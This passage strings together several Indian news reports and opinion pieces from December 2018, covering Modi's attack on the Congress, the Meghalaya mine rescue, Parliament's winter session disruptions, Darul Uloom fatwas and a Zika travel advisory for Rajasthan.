interacting with polling booth-level Bharatiya Janata Party (BJP) workers in Tamil Nadu and Puducherry through a video conference. He was referring to the Congress questioning the veracity of the surgical strikes targeting terrorist launch pads in Pakistan-occupied-Kashmir, and for contesting the CAG's discovery of Rs 1.86 lakh crore loss to the exchequer in the coal scam. Furthering his attack on the Congress, Modi said: "Like the sunlight, which is the best disinfectant, information and awareness are important for democracy. Hence, people need to be apprised of the behaviour, attitude and dangerous games of the Opposition, including the Congress. "They will do their best to spread lies but it is in our hands to spread the truth. They will do their best to mislead people but it is in our hands to expose them," he said. Modi has forgotten when BJP members and allies did the same Politicians have short term memory. Same or similar allegations always float about and the parties pointing the finger forget that they once were at the other end of the finger. The BJP has previously launched similar attacks on the very institutions that Congress has been accused of "humiliating". The Opposition had made similar accusations against the BJP, and had demanded apologies. For instance, in March 2017, Maharashtra BJP MP Prashant Paricharak had sparked controversy when he spoke about army wives' allegedly adulterous nature. According to India Today Paricharak had said, Baby despite husband being away. Husband at the border, wife has a baby. The BJP suspended him amid mounting pressure from Opposition parties as well as the Shiv Sena, which is a BJP ally in Maharashtra. BJP MP Nepal Singh also caused tensions to rise in January this year, when he told ANI that members of the Indian Army were "bound to die" and that there was no nation on earth where army men did not die in battle. "People in the Indian Army are bound to die every day, is there any nation where army men do not die in battle? Even in fights in villages, someone or the other is hurt. Show me a device that does not cause deaths. Show me a thing such that stops a bullet from working," he had said. According to PTI, Congress leader Jyotiraditya Scindia also raised Singh's comments during Zero Hour in Parliament and condemned them. RSS joins the fray The saffron party's ideological parent, the Rashtriya Swayamsevak Sangh (RSS) has also been guilty of "humiliating" the institutions of democracy. The most notable instance is RSS chief Mohan Bhagwat saying that the organisation has the ability to prepare an "army" to fight for the country within three days, "which the army would do in 6-7 months." The Congress was quick to demand an apology from Bhagwat, starting with the party's president Rahul Gandhi. "The RSS chiefs speech is an insult to every Indian because it disrespects those who have died for our nation," Rahul had said on Twitter, adding that "it is an insult to our flag because it insults every soldier who ever saluted it. Shame on you Mr Bhagwat, for disrespecting our martyrs and our army." Senior Congress leader Anand Sharma added to the criticism, and said that Bhagwats sad and disturbing comment had insulted the Indian armed forces. Such statements and thoughts weaken the morale of our armed forces, Sharma told reporters. Kerala chief minister Pinarayi Vijayan also added to the mix and said: The prime minister's accusation, that the Congress has demeaned the authority of democratic institutions, comes as part of an ongoing game that the two parties play: One party launches an attack, the other condemns it, and no resolution is reached. Then, the parties switch places, and the same process ensues. The number of people trapped inside the rat-hole mines of East Jaintia Hills district of Meghalaya has gone up to 15. Reports confirmed the news as officials are still attempting to rescue the miners who have been tapped inside the illegal coal mines. Shillong: The number of people trapped inside the rat-hole mines of East Jaintia Hills district of Meghalaya has gone up to 15. Reports confirmed the news as officials are still attempting to rescue the miners who have been tapped inside the illegal coal mines. Police on Wednesday evening said that another person from Assam was trapped in the Ksan coal mine. The miner has been identified as Asish Bahadur Limbu, son of Ram Prasad Limbu from Karbi Anglong district in Assam. Initially, when the incident occurred on 13 December, authorities had estimated that there were 13 miners trapped inside. On Monday, one Abdul Kalam Sheikh a resident of Magurmari village, West Garo Hills, who is a miner too, was reported missing. Family members of Sheikh approached the local police on Monday, following which it was confirmed that he too was missing in the accident. Twenty-one-year old survivor Sayeb Ali from Panbari village in the Chirang district of Assam said that the number of persons trapped inside the illegal coal mine is expected to be close to 17. Ali had said that the day the incident occured, there were 22 people in all. Five of them were on the ground while 17 others were busy cutting coal when allegedly water from the nearby Lytein river entered the illegal rat-hole mineshaft . At least, 70 National Disaster Response Force (NDRF) and 22 State Disaster Response Force (SDRF) personnel including deep divers are engaged in the rescue operation. Wading through the water continues to be the biggest challenge for the rescue teams. According to authorities involved in the rescue operation, despite continuous efforts of pumping out the water from the mine, the water level is still on the rise. With the state witnessing untimely rains since Tuesday, the rescue operation is even more complicated. "Water level in the mine has risen by two feet and two inches in spite of continuous pumping. River water has also risen. This is all because of the rain," SK Singh, Assistant Commandant, 1st Battalion, NDRF said on Wednesday. According to mine safety experts, machines that can pump out at least 500 gallons of water per minute are required for the rescue mission. But these machines are not available in the area, and only a few companies in India manufacture them. Mining expert Jaswant Singh Gill, who had saved the lives of 64 miners in Raniganj of West Bengal in 1989 will arrive at Ksan, under Nongkhlieh Elaka. Gill has been entrusted to lead the rescue operation. The mine is located at Ksan near the Lytein river under Saipung police station. Meghalaya's revenue and disaster management minister Kyrmen Shylla admitted that officials are trying everything even though it is a tricky operation and chances of survival are bleak. Locals from the area, familiar with the mines, said that there are hundreds of coal mines in the area which are interconnected. They also said that it might take months to pump the water out of the mines. The author is a Meghalaya-based journalist and and a member of 101Reporters.com Prime Minister Narendra Modi will announce projects worth over Rs 14,500 crore for Odisha during his visit to the state on 24 December. New Delhi: Prime Minister Narendra Modi will announce projects worth over Rs 14,500 crore for Odisha during his visit to the state on 24 December, BJP leader and Petroleum Minister Dharmendra Pradhan said on Thursday. The projects are related to higher education, health, road and highways and culture, he said. "These projects will bring unprecedented development to the state and I am thankful for the prime minister's gift to the state," Pradhan said. The projects include the construction of a permanent campus of the Indian Institute of Science Education and Research in Berhampur at a cost of Rs 1,583 crore, the Paradip-Hyderabad product pipeline for Rs 3,800 crore, six-laning of the Chandikhole-Bhadrak section of NH16 (Rs 1,492 cr), construction of the Bokaro-Angul section of the Jagdishpur-Haldia and Bokaro-Dhamra gas pipeline project (Rs 3,437 cr) and four-laning of the Cuttack-Angul section of NH-42 (1,991 cr). The prime minister will lay the foundation stone for all these projects during his trip. Modi will also inaugurate the ESIC hospital in Bhubaneshwar which came up a cost of Rs 73.5 crore. He will also inaugurate the archaeological museum at Lalitgiri which is one of the earliest Buddhist settlements in Odisha situated 120 km north of Bhubaneshwar in Cuttack district. Malik, who has often spoken out against wealthy politicians and bureaucrats in Kashmir, was addressing a function of the state's Sainik Welfare Society. 'The big segment of society in this country, those who are wealthy in Kashmir, politicians and bureaucrats are all wealthy do not have any sensitivity towards society. They do not do charity of even a single rupee,' Malik said. Jammu: Jammu and Kashmir Governor Satya Pal Malik on Wednesday likened a section of the country's wealthy to "rotten potatoes", saying they don't have any sensitivity towards society and do no charity. Malik, who has often spoken out against wealthy politicians and bureaucrats in Kashmir, was addressing a function of the state's Sainik Welfare Society. "The big segment of society in this country, those who are wealthy in Kashmir, politicians and bureaucrats are all wealthy do not have any sensitivity towards society. They do not do charity of even a single rupee," Malik said. "But there are a few like this in the upper classes. Please do not take it badly, I consider them 'rotten potatoes', not human beings," Malik said while addressing the function here. He made his remarks in Hindi, using the term "sade se aalu" to describe the rich who don't do charitable works. "When a journalist posed a question to the country's wealthiest man, who spent Rs 700 crore on the marriage of his daughter, whether he undertakes any charity, he said he does not do charity but adds to the wealth of the country," Malik said without taking any names. "In Europe and other countries, they do charity. The Microsoft owner does charity of his 99-per cent wealth. But he said he does not do charity, but adds to the wealth of the country. Does he increase the wealth of the country by spending Rs 700 crore on the marriage of his daughter?" the governor went on to ask. With Rs 700 crore, Malik elaborated, 700 big schools could have been built in the state and 7,000 widows of slain soldiers could have brought up their children. "But they will not (do charity). The sensitivity that should be in this (upper class) section of the society is not there," he rued. Society is not formed due to the upper classes, but from farmers, employees, people working in industries and men in the armed forces, Malik said. "Let us boost the morale of our armed forces and help them and remember them," he said. The injured at the Mithibai college have been admitted to RN Cooper Hospital, where out of the eight, three of them are in Intensive Care Unit (ICU), Eight students were injured at Mumbai's Mithibai College in a stampede Thursday during a college fest on campus which is located in the Vileparle area. The Asian Age is reporting that the injured include two women and three men, aged between 20-24 years. Preliminary media reports suggest that overcrowding led to the stampede. Three of the victims are currently in the surgical intensive care unit. Out of the three, one has suffered a rib fracture. Five patients had taken a discharge against medical advice to be admitted to nearby private hospitals. All of them are currently stable, said the on-duty administrative medical officer (AMO) Dr Sadaphule of RN Cooper Hospital. The injured have been admitted to RN Cooper Hospital. Three of them are in the Intensive Care Unit (ICU), The Indian Express reported. #JustIn -- Stampede at Mithibai College in Mumbai. Eight students taken to Cooper Hospital, Juhu of which three are in ICU. More details awaited. pic.twitter.com/0d7cJxpctT News18 (@CNNnews18) December 20, 2018 The Juhu Police confirmed to Firstpost that some people have been admitted to Mithibai hospital, but declined to confirm the number or the extent of injuries. According to officials, the incident occurred at around 8.30 pm during Colosseum Fest, the college's annual festival. According to The Hindu, the Dean at Cooper Hospital informed that out of the eight injured, three students discharged themselves against medical advice, while five others are still admitted. The Brihanmumbai Municipal Corporation (BMC) confirmed that the incident occurred during a concert by rapper Divine, who was performing at the college festival at Jashoda Rang Mandir (JRM) Ground, The Hindustan Times reported. Investigations are on to determine the cause of the stampede. More details are awaited. Hamid Nihal Ansari was arrested in Pakistan in 2012 for illegally entering that country from Afghanistan, reportedly to meet a woman he had befriended online. Authorities in Pakistan slapped espionage charges against him Mumbai: Software engineer Hamid Nehal Ansari, who spent six years in a Pakistani jail on charges of espionage, returned to his hometown Mumbai on Thursday morning, two days after was handed over to India at the Wagah-Attari border. Ansari, 33, along with his parents left from New Delhi in the morning in an Air India flight and arrived at the Mumbai airport around 9.30 am, his father Nehal Ansari said. Relatives, friends and well-wishers greeted Ansari and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. Ansari was arrested in Pakistan in 2012 for illegally entering that country from Afghanistan, reportedly to meet a woman he had befriended online. Authorities in Pakistan slapped espionage charges against him. The Mumbai resident, who returned to India on Tuesday after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on 15 December, 2015. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken on account of relentless pressure from New Delhi, they said. Shortly before his arrival on Tuesday, his mother Fauzia Ansari had told reporters that the prayers of the family and of all those who wished for his safe return were answered. His father had said it was a new dawn for them. Ansari and his family have thanked external affairs minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on 15 December but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave the Pakistan government a month's deadline to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. Rupa Chinai, who visited the North East several times over the course of 30 years, speaks about the people living in the region have been pushed to wall and isolated by mainland India "The Indian state has consistently pushed people to the wall," said journalist Rupa Chinai. She was addressing an audience at the launch of her book Understanding Indias Northeast: A Reporters Journal, weaving together her memories of the region as well as the observations that constituted her work over the 30 years when she visited the region several times. When she was in her early 20s, she was given the opportunity to report from the North East and work with a senior journalist at a time when the mainstream media did not dedicatedly cover the region's affairs. In the process, she learnt about how various communities lived, what problems plagued their societies, and why an active dialogue between this region and mainstream India is necessary. "If you want to understand where policy has gone wrong, go to the most marginalised sections the periphery of the village to understand India," she said. She narrated stories about the Tripura National Volunteers (an insurgency group), learning about rainwater harvesting, and finding that the people in the region had a desire for development the kind that would not allow outsiders to exploit them. She remembered the time she had met two members of the Kuki National Army, witnessed a whole village watch a FIFA match, and drove through Sal forests. "To look at India with different eyes changed me," she said. She spoke about her meetings with individuals in the region: Bikramjoy from Tripura; Mizoram's Hnema, a recovering addict who wanted to reform himself. She would go on to become close friends with many of these people. In this conversation with Firstpost, she speaks about her memories of the region, as well as the change mainstream India must make in its perception of the North East. The title of your book mentions that it is a 'Reporter's Journal', and you have said that it is about your personal journey. How did the objectivity of being a journalist and the more personal aspects of your experiences come together in this book? Journalists tend to be in a hurry and ask a lot of questions. One of the things I learnt during my 30 years of travels in North East India was to put aside my journalist hat, put away my pen and notebook and simply learn to listen as a human being. One learnt to pay attention to what is being said, and also to what is not being said. Deeply personal, painful stories of unbelievable hardship and humiliation of a people being brought to their knees before the armed might of India have long been suppressed and unacknowledged. This lack of articulation was particularly so with the women one met. Investment of time, money, energy spent over the years of repeated visits was my way of observing their daily lives by living among them, participating in their occasions of joy and sorrow and following the stories they thought important to share with me. The very process of journalism calls for the sifting of facts and perceptions, hence objectivity is a matter of interpretation. For me, the key learning was that there are many layers to understanding truth and reality. One can begin to glimpse the whole picture and understand what has gone wrong when one makes an effort to do legwork; takes time to meet a wide cross section of people, while reaching out to those who are most marginalised and living at the periphery. How did people in the North East respond to you? Were you received the same way in all states? In the 80s, when I first visited the North East, I found open doors across the region because I then represented a small magazine, Himmat, that had sought to give a platform to the voices of the long-ignored North East. Beyond that, in all these years of travel, barring my encounters with the State and its representatives, I have only experienced warmth, hospitality and the making of friendships for life with ordinary people. I was deeply attracted to the gentleness, simplicity and straight-forwardness of tribal societies here, who are deeply rooted in their cultures. It enriched me as a person and radically altered who I am as an Indian and how I view my country. So yes, wherever I went, one found people with whom one shared empathy. Did your travels change your own perspective towards the region? If yes, how? Discovery of the North East was impressions drawn on a clean slate there were no preconceived notions. What changed drastically was my perception of India and being Indian. Standing in the shoes of a north-easterner and looking at India through their eyes was for me, learning to take responsibility for what has gone wrong. There is the Indian State that has consistently pushed communities here to the wall with its arrogance and armed might. Then there is the ordinary Indian who in the eyes of the North-Easterner is racist, exploitative, slippery and downright scary. So much needs to be done to reform our social culture and manners, to bring health, education, livelihood and justice for the poor of our country. Loving the people of the North East is also about loving and caring about those who are my own a more challenging task for me. What do you hope readers will take away from the book? The Constitution of India has assured tribal communities here ownership of their land, forests and natural resources. While we in the rest of India have wiped out these resources, the North East tribes have honoured that Constitutional protection. They have continued to protect the countrys last vestiges of biodiversity still left on our planet. The Bharatiya Janata Party government eyes these resources and is seeking to take away these Constitutional protections. Communities in the North East are today desperate for development, for their very survival is at the brink. But this development must ensure that they remain masters of their own land, forests, resources and their own destiny. Do you think writers and journalists today exoticise the North East and its people? Was this a fear in your mind about your own writing? Many writers and journalists have focused on conflict and insurgency, which makes for drama. The failure to connect with ordinary people and their concerns, the absence of legwork, tells in their understanding of North East realities. Recently at a book launch in Mumbai, a Delhi journalist who wrote a book on North East conflict was asked which was the most peaceful state in the North East and why. His reply: Mizoram. Because we bombed them. If the interpretation is that having bombed, humiliated and brought people to their knees is a recipe for lasting peace, then I truly do despair. It is this mindset that shakes me to the core. Yes, I deeply fear my inability to communicate the depth of what I saw, heard and experienced of the North East. In the foreward of your book, you mention that you had to pay the price for the kind of reporting you were doing from the North East, in terms of employment and earning a livelihood. Has the attitude of employers and newsrooms in the mainland changed over time? Or has it remained the same? Its far worse. Leading Indian newspapers today bring out North East editions, but coverage of the region does not move beyond those frontiers. Most Indians understand nothing about our remote peripheries and have no context to understand events when they blow up. The commercial approach of media and publishing houses blots out vast segments of our population or seeks to shape how they are portrayed. Hope lies within the emerging regional media in the North East, as also the plethora of young writers from there who are beginning to tell their own stories. Hope also lies in the countrys digital media and the avenues that have opened up for affordable self-publishing, which is the route I have also taken. The Indian public must respond to these independent efforts that add to the paucity of news from this region and existing literature; buy their publications and support journalists in getting to the stories that need to be heard. She was sent to Delhi in an air ambulance Wednesday afternoon, he said, adding the woman continues to be critical and will now be treated at Safdarjung Hospital's dedicated burn ward. Rishikesh: An 18-year-old woman, who was set on fire by a stalker for turning down his repeated love proposals, was shifted to the Safdarjung Hospital in Delhi Wednesday as she continued to be critical. The stalker, a 31-year-old taxi driver, attacked the woman when she was returning from college on 16 December. The woman was admitted to the All India Institute of Medical Sciences (AIIMS) in Rishikesh on Monday with 70-80 per cent burns, Rishikesh Medical Superintendent Dr Brahma Prakash said. She was sent to Delhi in an air ambulance Wednesday afternoon, he said, adding the woman continues to be critical and will now be treated at Safdarjung Hospital's dedicated burn ward. She had sustained serious injuries on her face and lungs, Dr Prakash said. A senior doctor at Safdarjung hospital said the woman is very critical and on ventilator. The man had been staking her after she had rejected his love proposals, police said, adding that he set her on fire after sprinkling petrol over her. After hearing her cries for help, locals rushed to the spot and took her to the hospital. Angry students of her university were demanding capital punishment for the accused who was arrested the day the crime was committed. Lok Sabha clears autism, consumer protection bills amid uproar; Rajya Sabha adjourned without work as Rafale fighter jet deal and Cauvery river water issue disrupt proceedings on Day 8 of Winter Session of the Parliament The eighth working day of the Parliament's Winter Session, on Thursday, saw several disruptions and adjournments in both Houses. While the Lok Sabha managed to pass two Bills the Consumer Protection Bill, 2018, and the National Trust for Welfare of Persons with Autism, Cerebral Palsy, Mental Retardation and Multiple Disabilities (Amendment) Bill, 2018 the Rajya Sabha was adjourned for the day minutes after it began. Both Houses have been witnessing a ruckus over the Rafale fighter jet deal and Cauvery river issue, among other matters. The first Bill that was passed in the Lok Sabha will need the Upper House's clearance even as the second will be sent to the President for his approval. The contentious triple talaq Bill was, however, deferred till 27 December by Speaker Sumitra Mahajan following a request made by Congress party leader Mallikarjun Kharge that it be taken up for discussion next week. "I give you a commitment that Congress party will participate in the discussion on the Bill," he said. Law minister Ravishankar Prasad said he respects Kharge and expects the Congress leader to assure the proceeding will be held peacefully. He also requested the members to take up the Bill in a peaceful and sanguine manner. Lok Sabha The proceedings in the Lok Sabha were adjourned thrice as members from Tamil Nadu and Karnataka sparred over the issue of building a dam on the Cauvery River and Congress leaders demanding a Joint Parliamentary Committee probe on the Rafale fighter jet deal. As the House met for the day, the proceedings barely lasted for 10 minutes and Mahajan adjourned the House till noon around 11.10 AM. Not a minute went by since Mahajan took her seat before MPs began their protests in the Lok Sabha. BJP MPs were chanting "Rahul Gandhi maafi maango" and "Rahul Gandhi chor hai". During Zero Hour, Mahajan allowed AIADMK's P Venugopal to raise the issue of Karnataka's proposed dam at Mekadatu over the Cauvery river. Venugopal said the dam will affect lakhs of farmers in Tamil Nadu, as it will impact the availability of water for irrigation purposes. In response, BJP MP from Karnataka Prahlad Joshi said the dam was essential for the state as it was a drinking water project. RJD MP JP Yadav raised the issue of coins of various denominations not being accepted by banks in Bihar. The House was adjourned for the second time till 2 pm as members from Tamil Nadu and Karnataka entered the well holding placards over the Cauvery River issue. Congress members were already there demanding a JPC probe into the Rafale deal while TDP MPs were demanding setting up of a steel plant in Andhra Pradesh and special category status for the state. Amid the uproar, Finance Minister Arun Jaitley moved the supplementary demand for grants the second batch for 2018-19 and introduced a bill to further amend the Companies Act in the 20 minutes the House functioned during the Zero Hour. The House convened at 2 pm and Union minister Ram Vilas Paswan introduced the Consumer Protection (Amendment) Bill 2018. Paswan said that the Bill will also deal with misleading adverts and consumer disputes. He said that that Bill has a provision for imposing a fine on businesses resorting to unfair trade and misleading advertisements. Raising objection the Bill, All India Trinamool Congress MP Pratima Mondol said that by insulating celebrity endorsers from a jail term, the Centre has let them escape the responsibility. Even as the House debated the Bill, Congress and BJP MPs raised slogans against each other over the Rafale deal. The Congress MPs demanded a Joint Parliamentary Committee on the fighter jets deal while a few BJP MPs shouted back at the use of 'unparliamentary' language. The Bill was first introduced in the Lok Sabha in January 2018. It enforces consumer rights and provides a mechanism for redressal of complaints regarding defects in goods and deficiency in services. The Bill states that any manufacturer or service provider who causes a false or misleading advertisement to be made which is prejudicial to the interest of the consumers shall be punished with imprisonment for a term which may extend to two years and with fine which may extend up to 10 lakh rupees. TDP MPs demanded special category status for Andhra Pradesh and setting up a steel plant in the state. As the Muslim Women (Protection of Rights on Marriage) Bill, 2018, was taken up for consideration, Leader of the Opposition in the House Mallikarjun Kharge suggested it be taken up for discussion next week. He said the Opposition would also participate in the debate on the bill. Parliamentary Affairs Minister Narendra Singh Tomar sought an assurance from the Opposition that it would allow discussion on the bill without disruption on that day. Following Kharge's suggestion, Law Minister Mani Shankar Prasad said, "As Kharjeji has made an open promise, we have no problems in having a discussion on December 27. I urge that this debate be held in a sanguine and peaceful manner." Following this, the Speaker adjourned the Lok Sabha for the day. Rajya Sabha The Rajya Sabha was adjourned for the day without transacting any business on Thursday after ruckus in the House over the Rafale fighter jet deal and Cauvery river issue. Soon after the House met for the day, slogan-shouting members of Tamil parties AIADMK and DMK trooped into the well of the House over the Cauvery issue. Opposition Congress members also shouted slogans and held placards seeking a probe by the Joint Parliamentary Committee (JPC) into the purchase of Rafale jets from France. Treasury benches countered Congress members with slogans demanding an apology from Congress president Rahul Gandhi following the Supreme Court clean chit to the Rafale deal. Rajya Sabha Chairman M Venkaiah Naidu said all issues can be discussed and members should allow the House to function. "Many issues are pending. Important bills are there. We have to discuss (devastation caused by) cyclones (in some states)," he said. He said a notice has been given on the Rafale deal. "We can discuss Rafale deal too. The government has given in writing that it has no objection to a discussion on Rafale." Besides discussions on distress in the agriculture sector and price rise are also slated, he said. "The entire country is agitated about the way the House is functioning. The whole country is watching," he said before adjourning the proceedings for the day. Earlier, Naidu said he had gone into the records after Minister of State for Parliamentary Affairs Vijay Goel had on Wednesday demanded that Congress deputy leader Anand Sharma withdraw his remarks about him. Naidu said Sharma had on 18 December, while raising a point of order, stated that Goel had sought an apology from Rahul Gandhi, who is a member of the Lok Sabha, over the Rafale issue. However, Goel had on 19 December stated that he made no reference to Rahul Gandhi and Anand Sharma should withdraw his remarks, Naidu said, adding he went through the records carefully and found that Goel had not referred to Gandhi. "Therefore the averment made by Goel is correct," he said. Sharma said he respects the ruling of the Chair but there was a din and commotion in the House and ruling party members were standing and shouting slogans seeking an apology from Rahu;. Naidu, however, said the record is straight. "Statement made by Goel seems to be correct," Naidu said. With inputs from PTI Darul Uloom has also said that it was in fact 'illegitimate' to eat food while standing Renowned Islamic seminary Darul Uloom Deoband, situated in Uttar Pradesh's Saharanpur, has added another to its list of absurd fatwas when it recently said that women and men eating together was un-Islamic. In a fresh edict issued on late Tuesday, the seminary has also said that it was in fact 'illegitimate' to eat food while standing, according to a report by The Times of India. The fatwa was issued following a query by a resident of Deoband town who sought to know the proper way, under Islamic rules, of having food at wedding functions and other events. The edict has created a flutter on Twitter with people questioning the rationality of such a law. @mkatju what about eateries and work place? Someone should move court. Men, women eating together at functions un-Islamic: Darul Uloom https://t.co/QiCHxAGhUM Raj Narayan (@rajnar78) December 20, 2018 The seminary, one of the country's largest, often hits the headlines with its rather absurd decrees. Here is a look at some of the bizarre ones: In November, 2018, the seminary issued a fatwa against Muslim women wearing nail polish while offering namaaz or prayers, calling the practice un-Islamic. A cleric at Darul Uloom, Mufti Ishrar Gaura, had argued that a layer of nail paint hinders the "wudu water" (ritual purification) from washing their nails completely. The same month also saw Darul Uloom stating that the tradition of carrying a bride to her palanquin by the male members of her maternal family can lead to 'birth of lust' and had issued a fatwa against it. A report by The Times of India quoted a bench of high-ranking clerics saying, "Relations between a woman and her maternal uncle are very sacred. A man cannot lift his fully grown niece, it is certainly not acceptable in the eyes of Muslim law. There is always a danger of destruction of such relationship if this activity leads to the birth of lust in either of the two. In July, 2018, the fatwa department of the seminary, while replying to a query by another Deoband resident, had said that waxing and shaving are not considered good under the Sharia law. The department said, "Removing hair through waxing or shaving from other parts of the body is khilaf-e-adab (against the culture)," reported by The Times of India. In response to yet another query by a Maharashtra-based Muslim man, a three-cleric panel of the seminary in May, 2018 had issued a fatwa on installing CCTVs in a shop or place where there is movement of a lot of people. In April, 2018 the Darul Uloom said that it will not conduct Muslim marriages where music and dance are part of the wedding, saying that these are against Islam. ANI had quoted the city qazi for Saharanpur, Mufti Azhar Hussain, saying, "We will not conduct 'nikah' in weddings where music and dance are happening and a DJ is there. This is against Islam; (we) will boycott such weddings." He added that if the music and dancing happened before the nikah ceremony and the qazi did not know "then it is different." In February, 2018, the Islamic seminary stated that Muslim women must not wear bangles from men at shops. They had called this age-old tradition "wrong and a big sin," said a report by The Times of India. Darul Uloom had also extended its support to the fatwa issued by Saudi Arabian clerics against using Quran verses as ringtones on mobile phones. In January, the influential seminary had issued a fatwa stating that Islam does not allow women to wear designer or body-hugging burqas. "The veil and burqa are supposed to protect a woman from prying eyes. So a woman wearing a designer burqa or body-hugging outfit is strictly not allowed in Islam," members of the seminary had reportedly said. The Darul Uloom had also issued a fatwa against celebrating New Year's, observing that it was un-Islamic as the Islamic calendar year starts from Muharram. The seminary had also issued a fatwa in 2017 prohibiting Muslim men and women from posting their or their families' photographs on social media sites. "There are many other ways to ensure safety of a commercial establishment or a home. In Shariat, it is un-Islamic to shoot a picture. Consequently even the CCTV is un-Islamic," a report by The Times of India had quoted the panel as saying. The Center for Disease Control and Prevention in the United States has issued a warning to pregnant women against travelling to Rajasthan and surrounding states due to an outbreak of the Zika virus. The Center for Disease Control and Prevention in the United States has issued a warning to pregnant women against travelling to Rajasthan and surrounding states due to an outbreak of the Zika virus. According to The World Health Organisation (WHO), as of 2 November 2018, 157 cases have been identified in India, including 63 pregnant women. Before this outbreak, India reported four confirmed cases of Zika virus infection in 2017, three cases in Ahmedabad Gujarat and one case in Krishnagiri District of Tamil Nadu. The CDC, in an advisory issued on 13 December, stated the virus was endemic to India and pointed out there is an unusual increase in the number of Zika cases in Rajasthan and surrounding states. Cautioning pregnant women from visiting the state, the advisory said, "This is because Zika infection during pregnancy can cause serious birth defects. According to the CDC, women considering pregnancy should wait at least three months after returning to the US from Zika-affected areas before attempting to conceive, the advisory said. Men should wait for three months because Zika can stay in semen longer than in other body fluids, it said. How tourism will be affected According to an Indian Express report, tourism in Rajasthan might be affected due to the advisory. The alert comes at the time when it is tourist season in the state from October to March. Between these months, events such as the Pushkar fair, Jaipur Literature Festival, Holi and Gangaur fair in Jaipur generally attract large numbers of tourists In December 2017, Rajasthan saw a total tourist footfall of 35 lakh, including the Indian and foreign tourists, according to the state tourism department. The tourism industry in the state is bracing for the impact that the alert might have on it. The number of tourists may be much less this year. Even in popular travel websites like TripAdvisor, the question of whether Rajasthan is safe to visit or not has been asked multiple times. The first case in Rajasthan surfaced on 22 September. The virus, although discovered in 1947 in the forests of Uganda, came to prominence in 2015 when pregnant Brazilian women infected with the virus gave birth to babies with abnormally small heads that are normally associated with incomplete brain development (also called microcephaly). It was later linked to another debilitating condition GuillainBarre syndrome, in which the immune system attacks healthy nerve cells in the peripheral nervous system, that can even lead to paralysis. The virus, transmitted through the Aedes Aegypti mosquito, causes fever, skin rashes, conjunctivitis, muscle and joint pain. A Zika virus infection during pregnancy can cause infants to be born with microcephaly and other congenital malformations, known as congenital Zika syndrome. Infection with Zika virus is also associated with other complications of pregnancy, including preterm birth and miscarriage. With inputs from agencies Click here to know more about signs, symptoms of Zika virus The BJP on Thursday mocked RLSP chief and former Union minister Upendra Kushwaha for joining the UPA. Patna: The BJP on Thursday mocked RLSP chief and former Union minister Upendra Kushwaha for joining the UPA, describing the party (RLSP) as "ajooba" (peculiar) whose chief has gone into the Opposition camp while all three legislators and an MP were still "firmly with the NDA". The RLSP legislators in Bihar also affirmed that they were in the National Democratic Alliance (NDA) camp. "Both the MLAs and one MLC of the party (RLSP) have unanimously announced that we are with the NDA. We are with the coalition which RLSP has been a part of. Upendra Kushwaha has taken a decision at variance with the party's sentiments," party MLA Sudhanshu Shekhar told PTI over phone. "In fact, Kushwaha has gone against the party line and we would soon approach the Election Commission with our claim that we are the real RLSP. We have the support of many party leaders, including an MP," he said while declining to divulge any names. Speculations are rife that Shekhar, a first-term MLA who represents Harlakhi seat in Madhubani district, may get a ministerial berth in the state government headed by Nitish Kumar who was close to his deceased father Basant Kushwaha. The Rashtriya Lok Samta Party (RLSP) has two members in the state legislature Lalan Paswan and Sudhanshu Shekhar besides MLC Sanjiv Singh Shyam, all of whom had last week pledged their support to the NDA. Meanwhile, Bihar deputy chief minister Sushil Kumar Modi, who is at present on a tour of the US, took to microblogging site Twitter for offering his caustic remark on the development. Upendra Kushwaha's move to join the United Progressive Alliance (UPA) was announced at the AICC headquarters in Delhi in the presence of senior Congress leaders like Ahmed Patel and Shaktisinh Gohil besides RJD heir apparent Tejashwi Yadav and Hindustani Awam Morcha founder Jitan Ram Manjhi, who are the other alliance partners of the UPA in Bihar. "Mamata Banerjee, Mayawati, Akhilesh Yadav and even Ajit Singh did not give any importance to the Congress despite its recent victory in three states. The party is being hailed by those in Bihar whose fate is hanging between the court of law and jail," Sushil Modi said in an obvious dig at the RJD which is the senior coalition partner, of the 'mahagathbandhan', in the state. Without naming Kushwaha or the RLSP, the BJP leader remarked, "An ajooba (peculiar) party has also joined the Grand Alliance... two MLAs, an MLC and an MP of which are firmly with the NDA". The RLSP has three members in the Lok Sabha, including Kushwaha, and one of them - Sitamarhi MP Ram Kumar Sharma - had initially favoured the party staying in the NDA. However, Sharma later changed his stance and spoke in favour of snapping of ties and stood beside Kushwaha in Delhi on December 10 when the latter announced his resignation from the Union council of ministers and exit from the NDA. Meanwhile, JD(U) national vice president Prashant Kishor called upon "existing and potential NDA allies" to make "joint efforts" for achieving victory in the Lok Sabha polls. "Joint efforts and collective strength of existing and potential NDA allies is key to the success in upcoming 2019 elections. All key constituents of the coalition must work toward this," Kishor, who was inducted into the party by its national president and Chief Minister Nitish Kumar three months ago, tweeted. Kishor's remark came at a time when discordant noises are being made by Ram Vilas Paswan's Lok Janshakti Party, another NDA ally which has been raising objections over the use of Ayodhya as a poll plank and expressing dissatisfaction with smaller parties having been ignored, while the JD(U) and the BJP reached an agreement to contest "an equal number of seats in the state". Is Adityanath an aberration or is he part of the design of the politics of Hindutva? Uttar Pradesh chief minister Yogi Adityanath continues with his prevarications on the Bulandshahr issue and, unsurprisingly, his administration follows him in attempting to deflect attention away from the primary issue. On Wednesday, the police arrested three men in connection with enquiries into the slaughter of cows and the discovery of their carcasses in a village in Bulandshahr district. It is legitimate to follow leads in the investigation into an illegal act, but there is a question of priorities that has to be dealt with. And, of course, there is a larger question of how irresponsible political rhetoric can subvert the basic conventions of administration and the rule of law. But first, we must address the issue of what Adityanath, in his wisdom, has been up to. When the Bulandshahr violence broke out earlier this month and mobs instigated or led by rightwing Hindutva groups killed a police inspector, the chief minister had righteously (and, indeed, properly) declared that those involved in the lynching of the inspector would be bought to book. Within days, however, he had diluted his position. Those involved in cow slaughter, he had said, must be identified and prosecuted because the lives of cows were as precious as those of humans. Uttar Pradeshs director-general of police and the officer heading the investigation had echoed this view, the latter giving a pass to one of the principal accused persons involved in the violence. That a colleague had lost his life trying to do his job did not seem to have cut much ice with him. Little wonder, then, that while the investigation into the cow slaughter case 